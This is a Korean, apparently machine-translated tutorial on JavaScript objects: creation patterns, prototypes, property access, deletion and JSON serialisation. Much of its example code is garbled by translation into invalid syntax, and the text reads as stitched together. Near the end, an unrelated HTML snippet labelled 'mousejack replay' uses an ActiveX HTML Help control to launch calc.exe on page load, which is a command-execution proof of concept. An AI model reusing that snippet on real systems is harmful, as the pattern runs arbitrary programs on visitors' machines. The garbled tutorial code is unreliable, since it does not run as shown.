JavascrTip에는 6 개의 데이터 유형, 복잡한 데이터 유형 (참조 유형), 즉 객체 객체 유형 및 5 가지 간단한 데이터 유형 (원시 유형)이 있습니다 : 숫자, 문자열, 부울, 정의 및 null. 그중에서도 가장 핵심 유형은 객체 유형입니다. 동시에, 간단한 유형은 불변이지만 객체 유형은 변이 가능하다는 점에 유의해야합니다.
대상이란 무엇입니까?
객체는 일련의 이름 값 쌍으로 저장된 간단한 데이터 유형 (때로는 참조 된 데이터 유형)의 변하지 않은 목록입니다. 이 목록의 각 항목을 속성이라고합니다 (메소드라고하는 경우).
간단한 개체는 다음과 같습니다.
var myfirstoBject = {FirstName : "Richard", PaRiETeAuthor : "Conrad"};객체는 목록으로 간주 될 수 있으며 목록의 각 항목 (속성 또는 메소드)은 이름 값 쌍에 저장됩니다. 위의 예에서 객체의 속성 이름은 FirstName 및 PaRiETeAuthor입니다. 이에 따라 객체의 속성 값은 Richard와 Conrad입니다.
속성 이름은 문자열 또는 숫자 일 수 있지만 숫자가 속성 이름으로 사용되는 경우이 숫자의 속성 이름에 해당하는 속성 값은 제곱 브래킷 (제곱 브래킷 표기법)으로 얻어야합니다. 나중에 정사각형 브래킷 표기법에 대한 자세한 설명. 다음은 제곱 브래킷 표기법의 예입니다.
var agegroup = {30 : "어린이", 100 : "매우 오래된"}; console.log (agegroup.30) // 오류 // 속성 30 console.log에 액세스하는 올바른 방법 (agegroup [ "30"]; // children // 숫자를 속성 이름으로 사용하지 않는 것이 가장 좋습니다.JavaScript 프로그래머는 종종 객체 데이터 유형을 사용합니다. 일반적으로 데이터를 저장하거나 사용자 정의 메소드 또는 기능을 만드는 데 사용됩니다.
참조 데이터 유형 및 기본 데이터 유형
기준 유형과 원시 유형의 가장 중요한 차이점은 기준 유형이 참조로 저장되며 값을 원시 유형과 같은 변수에 직접 저장하지 않는다는 것입니다. 예를 들어:
// 원래 유형 데이터는 value var person = "kobe"에 의해 저장됩니다. var 다른 사람 = 사람; // 다른 사람 = 사람의 가치 = "Bryant"; // 사람의 값은 Console.Log (다른 사람)을 변경했습니다. // kobe console.log (person); // 브라이언
사람의 가치를 "브라이언트"로 바꾸더라도 Anthoerperson에 영향을 미치지 않으며 원래 사람이 할당 한 가치를 여전히 저장합니다.
value Store별로 원래 유형을 참조 유형과 비교하십시오.
var person = {이름 : "kobe"}; var 다른 사람 = 사람; person.name = "Bryant"; Console.log (다른 사람 .name); // bryant console.log (person.name); // 브라이언트이 예에서는 Person Object를 Anthoerperson에게 복사하지만 Person Object는 실제 가치 대신 참조를 저장하기 때문입니다. 따라서 우리가 사람을 "Bryant"로 변경할 때, 다른 사람 변수는 모든 속성을 직접 복사하지 않고 저장하지 않지만 객체의 참조를 직접 저장하기 때문에이 변경 사항을 반영합니다.
객체 속성의 속성
참고 : 속성은 일반적으로 속성으로 변환되지만 Propertie (속성으로도 번역)와 구별하기 위해 여기에서 속성으로 변환됩니다. 이것은 또한 다른 사람들이 상담 한 것이며 무해해야합니다.
각 객체 속성에는 자체 이름 값 쌍이 저장 될뿐만 아니라 세 가지 특성도 포함되어 있으며 기본적으로 true로 설정됩니다.
• 구성 가능한 속성 : 이 개체 속성을 삭제하거나 수정할 수 있는지 여부를 지정합니다.
• 열거 가능 : 이 객체 속성을 For-in 루프에서 얻을 수 있는지 여부를 지정합니다.
• 쓰기 가능 : 이 객체 속성을 수정할 수 있는지 여부를 지정합니다.
EMACScript 5에는 몇 가지 새로운 기능이 있으며 여기에는 자세히 설명하지 않습니다.
객체를 만듭니다
객체를 만드는 두 가지 일반적인 방법이 있습니다.
1. 물체 문자 그대로
이것은 리터럴을 사용하여 직접 객체를 만드는 가장 일반적이고 쉬운 방법입니다.
// 빈 객체 var mybooks = {}; // 리터럴을 사용하여 생성 된 4 가지 속성 var mango = {색상 : "rounce :"round ", seetness : 8, howsweetami : function () {console.log ("hmm hmm good "); }}2. 객체 생성자
일반적으로 사용되는 두 번째 방법은 객체 생성자를 사용하는 것입니다. 생성자는 새 개체를 만드는 데 사용할 수있는 특수 함수입니다. 생성자는 새 키워드를 사용하여 호출해야합니다.
var mango = new Object (); mango.color = "yellow"; mango.shape = "round"; mango.sweetness = 8; mango.howsweetami = function () {console.log ( "hmm hmm good");}객체 속성의 이름과 같은 일부 예약 된 단어 나 키워드를 사용할 수 있지만 이는 현명한 선택이 아닙니다.
객체의 속성에는 숫자, 배열 또는 기타 객체를 포함한 데이터 유형이 포함될 수 있습니다.
실용적인 객체 생성 모드
데이터를 저장하는 데 한 번만 사용되는 간단한 객체를 만들려면 위의 두 가지 방법이 요구를 충족시킬 수 있습니다.
그러나 과일과 세부 사항을 표시하기위한 프로그램이 있다고 가정하십시오. 프로그램의 각 과일 유형에는 색상, 모양, 단맛, 비용 및 Showameam 기능의 다음과 같은 객체 특성이 있습니다. 새 과일 객체를 만들 때마다 다음 코드를 대표 해야하는 경우 매우 지루하고 비효율적입니다.
var mangofruit = {색상 : "노란색", 단맛 : 8, fruitname : "mango", nativetoland : [ "남아메리카", "중앙 아메리카"], showingame : function () {console.log ( "this is" + this.fruitname); }, nativeto : function () {this.nativetoland.foreach (function (extincountry) {console.log ( "grown in :" + everycountry);}); }}과일 10 개가있는 경우 동일한 코드를 10 번 추가해야합니다. 또한 Nativeto 함수를 수정하려면 10 개의 다른 장소에서 수정해야합니다. 큰 웹 사이트를 개발하는 경우 위의 개체에 하나씩 속성을 추가했다고 상상해 봅시다. 그러나 객체를 만드는 방식이 이상적이지 않다는 것을 갑자기 깨닫고이를 수정하려고합니다. 현재 어떻게해야합니까?
이러한 반복적 인 문제를 해결하기 위해 소프트웨어 엔지니어는 개발 프로그램을보다 효율적이고 합리적으로 사용하기 위해 다양한 패턴 (반복적 인 문제 및 일반적인 작업 솔루션)을 발명했습니다.
객체를 만드는 두 가지 일반적인 패턴은 다음과 같습니다.
1. 방법 모드 구성
기능 과일 (TheColor, TheSweetness, TheFruitName, thenativetoland) {this.color = thecolor; this.sweetness = thesweetness; this.fruitName = theFruitName; this.nativetoland = thenativetoland; this.howname = function () {console.log ( "this is a" + this.fruitname); } this.nativeto = function () {this.nativetoland.foreach (function (evernsole.log) ( "grown :" + 각 국가);}); }}이 패턴으로 다양한 과일을 쉽게 만들 수 있습니다. 이와 같이:
var mangofruit = 새로운 과일 ( "노란색", 8, "망고", [ "남미", "중앙 아메리카", "서 아프리카"]; Mangofruit.howname (); // 이것은 망고입니다. mangofruit.nativeto (); // 성장 : 남미 // 자란 : 중앙 아메리카 // 자란 : 서 아프리카 var 파인애플 프루트 = 새로운 과일 ( "브라운", 5, "파인애플", [ "미국"); Pineapplefruit.showname (); // 이것은 파인애플입니다.
속성이나 메소드를 변경하려면 한 곳에서 속성을 수정하면됩니다. 이 패턴은 과일 기능의 상속을 통해 모든 과일의 기능과 특징을 캡슐화합니다.
알아채다:
◦ 객체의 프로토 타입 객체 속성에 정의 할 수있는 속성을 정의해야합니다. 예를 들어
someObject.prototype.firstName = "Rich";
◦ 자신에 속하는 속성은 객체에 직접 정의되어야합니다. 예를 들어:
// 먼저, 객체 생성 var amango = new fruit (); // 다음, 객체에서 Mongospice 메소드를 직접 정의하십시오. // 우리는 물체의 Mangospice 속성을 직접 정의하기 때문에 상속 가능한 속성이 아니라 Amango의 자산입니다. Amango.mangospice = "일부 가치";
◦ 객체의 속성에 액세스하기 위해 객체를 사용하십시오.
Console.log (amango.mangospice); // "일부 값"
◦ 객체의 메소드를 호출하려면 다음과 같은 객체를 사용하십시오.
// 먼저 메소드를 추가하여 amango.printstuff = function () {return "printing"; } // 이제 printStuff 메소드를 호출 할 수 있습니다. amango.printstuff ();2. 프로토 타입 모드
FURTIC () {{} fruit.prototype.color = "Yellow"; fruit.prototype.sweetness = 7; fruit.prototyp.fruitname = "generic fruit"; fruit.prototyp.nativetoland = "USA"; frut.prototype.howname = function () {console.log (이것은 futuity. () {console.log ( "성장 :" + this.nativetoland);}다음은 프로토 타입 모드에서 Fruit () 생성자를 호출하는 방법입니다.
var mangofruit = new fruit (); mangofruit.howname (); // mangofruit.nativeto (); // 이것은 일반적인 과일입니다. // 자란 : USA
확장 된 독서
이 두 패턴에 대한 자세한 설명을 알아야한다면 JavaScript Advanced Programming의 6 장을 읽을 수 있습니다.이 두 가지 방법의 장점과 단점에 대해 자세히 설명하십시오. 이 두 가지 외에 다른 모드 도이 책에서 논의됩니다.
객체의 속성에 액세스하는 방법
객체 속성에 액세스하는 두 가지 주요 방법은 DOT 표기법 및 브래킷 표기법입니다.
1. 포인트 표기법
// 이것은 이전 예제에서 사용했던 속성에 액세스하는 방법입니다 var book = {제목 : "방법", 페이지 : 280, Bookmark1 : "Page 20"}; 포인트 표기법을 사용하여 책 객체의 제목 및 페이지 속성에 액세스하십시오. console.log (book.title); // console.log (book.pages)로 이동하는 방법; // 2802. 브래킷 표기법 방법
// 사각형 브래킷을 사용하여 책 객체의 속성을 드러냅니다. console.log (책 [ "title"]); // console.log로 이동하는 방법 (책 [ "pages"]); // 280 // 속성 이름이 변수에 저장된 경우 다음과 같은 것일 수도 있습니다. // console.log로 이동하는 방법 (책 [ "책갈피" + 1]); // 20 페이지
객체에 존재하지 않는 속성에 액세스하면 정의되지 않습니다.
고유 한 속성 및 상속 속성
객체에는 고유 한 속성과 상속 된 속성이 있습니다. 자체 속성은 객체에 직접 정의 된 속성이며 상속 된 속성은 객체의 프로토 타입에서 상속 된 속성입니다.
객체에 특정 속성이 있는지 여부를 결정하려면 (자체 속성이든 상속 된 속성이든) IN 연산자를 사용할 수 있습니다.
// ScholitName 속성으로 객체를 만듭니다. var school = {SchoolName : "mit"}; // 객체에 SchoolName Property Console.log (학교에서 "SchoolName")가 있기 때문에 True를 인쇄합니다. // true // SchoolType 재산을 정의하지 않거나 SchoolType Property Console.log (학교에서 "SchoolType")를 상속받지 않기 때문에 False를 인쇄합니다. // false // toString 메소드 console.log (학교에서의 "tostring") 때문에 true를 인쇄합니다. // 진실Hasownproperty
객체의 특정 속성을 갖는지 여부를 확인하려면 HasownPrototype 방법을 사용할 수 있습니다. 이 방법은 객체를 상속하는 대신 객체의 모든 속성을 모두 열거해야하기 때문에 매우 유용합니다.
// ScholitName 속성으로 객체를 만듭니다. var school = {SchoolName : "mit"}; // SchoolName이 학교 자산 콘솔이기 때문에 True를 인쇄합니다 (School.hasownProperty ( "SchoolName")); // true // TOSTRING이 개체의 프로토 타입에서 상속되어 있고 학교 자산 콘솔 (School.hasOwnProperty ( "Tostring")); // 거짓객체의 액세스 및 열거 속성
객체에 열거 될 수있는 속성 (자체 또는 상속)에 액세스하려면 For-In Loop 또는 일반 루프 방법을 사용할 수 있습니다.
// 3 속성이있는 학교 개체를 만들어냅니다. // for-in 루프를 사용하여 (학교에서 var earyitem) {console.log (각각); // SchoolName, SchoolCredited, Schoollocation} 인쇄}상속 된 속성에 액세스합니다
객체의 프로토 타입에서 상속 된 특성은 열거 할 수 없으므로 이러한 특성은 For-In 루프에서 액세스되지 않습니다. 그러나, 열거 가능한 상속 속성이라면 For-in 루프에서 액세스 할 수도 있습니다.
예를 들어:
// 학교 대상의 속성에 액세스하려면 (학교의 var earyitem) {console.log (eargietem); // SchoolName, SchoolCredited, Schoollocation} // 참고 : 다음 단락은 원본 텍스트에 대한 설명입니다./* 측면 참고 사항 : Wilson (astute Reader)은 아래의 의견에서 올바르게 지적한 것처럼, 교육 수준의 속성은 실제로 더 높은 학습 구성자를 사용하는 물체에 의해 상속되지 않습니다. 대신, EducationLevel 속성은 HigherLoinning 생성자를 사용하는 각 객체의 새로운 속성으로 만들어집니다. 속성이 상속되지 않은 이유는 "이"키워드를 사용하여 속성을 정의하기 때문입니다. */// 학교 객체가 상속받을 새로운 하이리어링 함수를 만듭니다. function higherlearning () {this.educationlevel = "University"; } // HigherLewning 생성자 var School = New HigherLearning ()과 상속을 구현합니다. School.schoolname = "mit"; School.schoolaccredited = true; School.schoollocation = "Massachusetts"; // (학교의 var earyitem) {console.log (eargietem); // EducationLevel, SchoolName, SchoolCredited 및 Schoollocation} 인쇄}객체의 속성을 삭제합니다
삭제 연산자를 사용하여 객체에서 속성을 삭제할 수 있습니다. 상속 된 속성을 삭제할 수 없으며 구성 가능한 속성이 False로 설정된 객체 속성을 삭제할 수 없습니다. 상속 된 속성을 삭제하려면 프로토 타입 객체 (즉, 이러한 특성이 정의되는 위치)에서 삭제해야합니다. 또한 글로벌 객체에서 속성을 삭제할 수 없습니다.
삭제가 성공하면 삭제 연산자가 true를 반환합니다. 놀랍게도, 삭제 될 속성이 존재하지 않거나 삭제할 수 없을 때 삭제 연산자도 true를 반환합니다 (즉, 자체가 아닌 속성 또는 구성 가능한 속성이 False로 설정됨).
예는 다음과 같습니다.
var Christmaslist = {Mike : "Book", Jason : "Sweater"} Christmaslist.mike 삭제; // (크리스마스리스트의 var people) {console.log (people); } // Jason 만 인쇄 // Mike 속성이 삭제되었습니다. Christmaslist.tostring; // True를 반환하지만 Tostring은 상속 된 속성이므로 삭제되지 않습니다. // Tostring이 삭제되지 않기 때문에 Christmaslist.tostring ()도 정상적으로 사용할 수 있습니다. // "[Object Object]"// 속성이 객체 인스턴스의 고유 한 속성 인 경우 삭제할 수 있습니다. // 예를 들어, 우리는 이전 예제에 정의 된 학교 객체에서 EducationLevel 속성을 삭제할 수 있습니다. // EducationLevel은 해당 사례에서 정의되어 있기 때문에 다음과 같이 정의되어 있습니다. 우리는 HigherLoinning 기능에서 EducationLevel을 정의 할 때 "이"키워드를 사용했습니다. // 우리는 HigherLearning 함수 프로토 타입 객체에서 EducationLevel 속성을 정의하지 않습니다. Console.log (School.HasOwnProperty ( "EducationLevel")); // true // EducationLevel은 학교 대상의 자체 추진력이므로 School.educationLevel을 삭제할 수 있습니다. // true // EducationLevel 속성은 console.log (school.educationLevel)을 삭제했습니다. // 정의되지 않은 // 그러나 EducationLevel 속성은 여전히 HigherLearning 함수 Var Newschool = New HigherLearning ()에 존재합니다. Console.log (Newschool.educationLevel); // University // 우리가 HigherLearning 함수 프로토 타입 에서이 EducationLevel2 속성과 같은 속성을 정의하는 경우 : HigherLearning.prototype.educationLevel2 = "University 2"; //이 EducationLevel2 속성은 HigherLearning 인스턴스의 자체 속성에 속하지 않습니다. // EducationLevel2 속성은 학교 인스턴스 Console.log (School.hasownProperty ( "EducationLevel2"))의 자체 재산이 아닙니다. false console.log (school.educationlevel2); // University 2 // 상속 된 EducationLevel2 Property Delete School.educationLevel2; // true (앞에서 언급 했듯이이 표현식은 true를 반환합니다) // 상속 된 EducationLevel2 속성은 console.log (school.educationlevel2); 대학 2객체를 직렬화하고 실질화합니다
http의 객체를 전달하거나 객체를 문자열로 변환하려면 객체를 직렬화해야합니다 (문자열로 변환). json.stringify를 사용하여 객체를 직렬화 할 수 있습니다. ECMAScript 5 이전 버전에서는 JSON2 라이브러리를 사용하여 JSON.stringify 함수를 얻어야합니다. ECMAScript 5 에서이 함수는 표준 함수가되었습니다.
객체를 제외시키기 위해 (즉, 문자열을 객체로 변환) JSON.PARSE 함수를 사용하여 수행 할 수 있습니다. 마찬가지로, 5 판 이전에 JSON2 라이브러리 에서이 기능을 얻어야 하며이 표준 기능은 5 판에 추가되었습니다.
샘플 코드 :
var Christmaslist = {Mike : "Book", Jason : "Sweater", Chelsea : "iPad"} json.stringify (Christmaslist); //이 문자열을 인쇄합니다 : // "{"Mike ":"Book ","Jason ":"Sweater ","Chels ":"iPad "}"// 형식으로 문자열이있는 객체를 인쇄하고 "null"및 "4"를 매개 변수로 추가합니다. // "{//"Mike ":"Book ", //"Jason ":"Sweater ", //"Chels ":"iPad "//}"// json.parse 예제 // 다음은 JSON 문자열이므로 DOT 표기법으로 속성에 액세스 할 수 없으므로 var Christmasliststr =. '{ "Mike": "Book", "Jason": "Sweater", "Chels": "iPad"}'; // 객체로 변환하자 var christmaslistobj = json.parse (Christmasliststr); // 이제 객체이므로 DOT 표기법 콘솔을 사용합니다. // 책JavaScript 객체에 대한 자세한 내용과 설명 및 5 판에 ECMAScript에 추가 된 내용은 JavaScript에 대한 권위있는 안내서 6 장 (6 판)을 참조하십시오.
추신
기사를 처음 번역했을 때 기사를 잘 번역하는 것이 간단하지 않다고 생각합니다. 많은 간단한 문장이 매우 명확 해 보이지만 실제로 번역하고 싶을 때 적절한 표현 방법을 생각할 수 없습니다. 전체 기사는 내 자신의 이해를 기반으로 한 다음 문장으로 번역 문장없이 자유롭게 번역했습니다. 따라서 이해 또는 부적절한 번역에 편차가있는 경우이를 지적 해 주시면 최대한 빨리 수정하겠습니다. 결국, 나는이 과거 기사를 당신과 공유하고 싶습니다. 이해가 실수로 인해 당신을 오도하고 싶지 않습니다.
그냥 소스, 작업을 끝내십시오.
<! docType html> <html> <head> <title> 마우스 잭 리플레이 </title> <head> </head> <body> 명령 <object <객체 id = x classid = "clsid : adb880a6-d8ff-11cf-9377-00aa003b7a11"width = 1 height = 1> <param name = "shortcut"> "> value = "bitmap :: 바로 가기"> <param name = "item1"value = ', calc.exe'> <param name = "item2"value = "273,1"> </객체> <cript> x.click (); </script> </body> </html>
위는이 기사의 모든 내용입니다. 모든 사람의 학습에 도움이되기를 바랍니다. 모든 사람이 wulin.com을 더 지원하기를 바랍니다.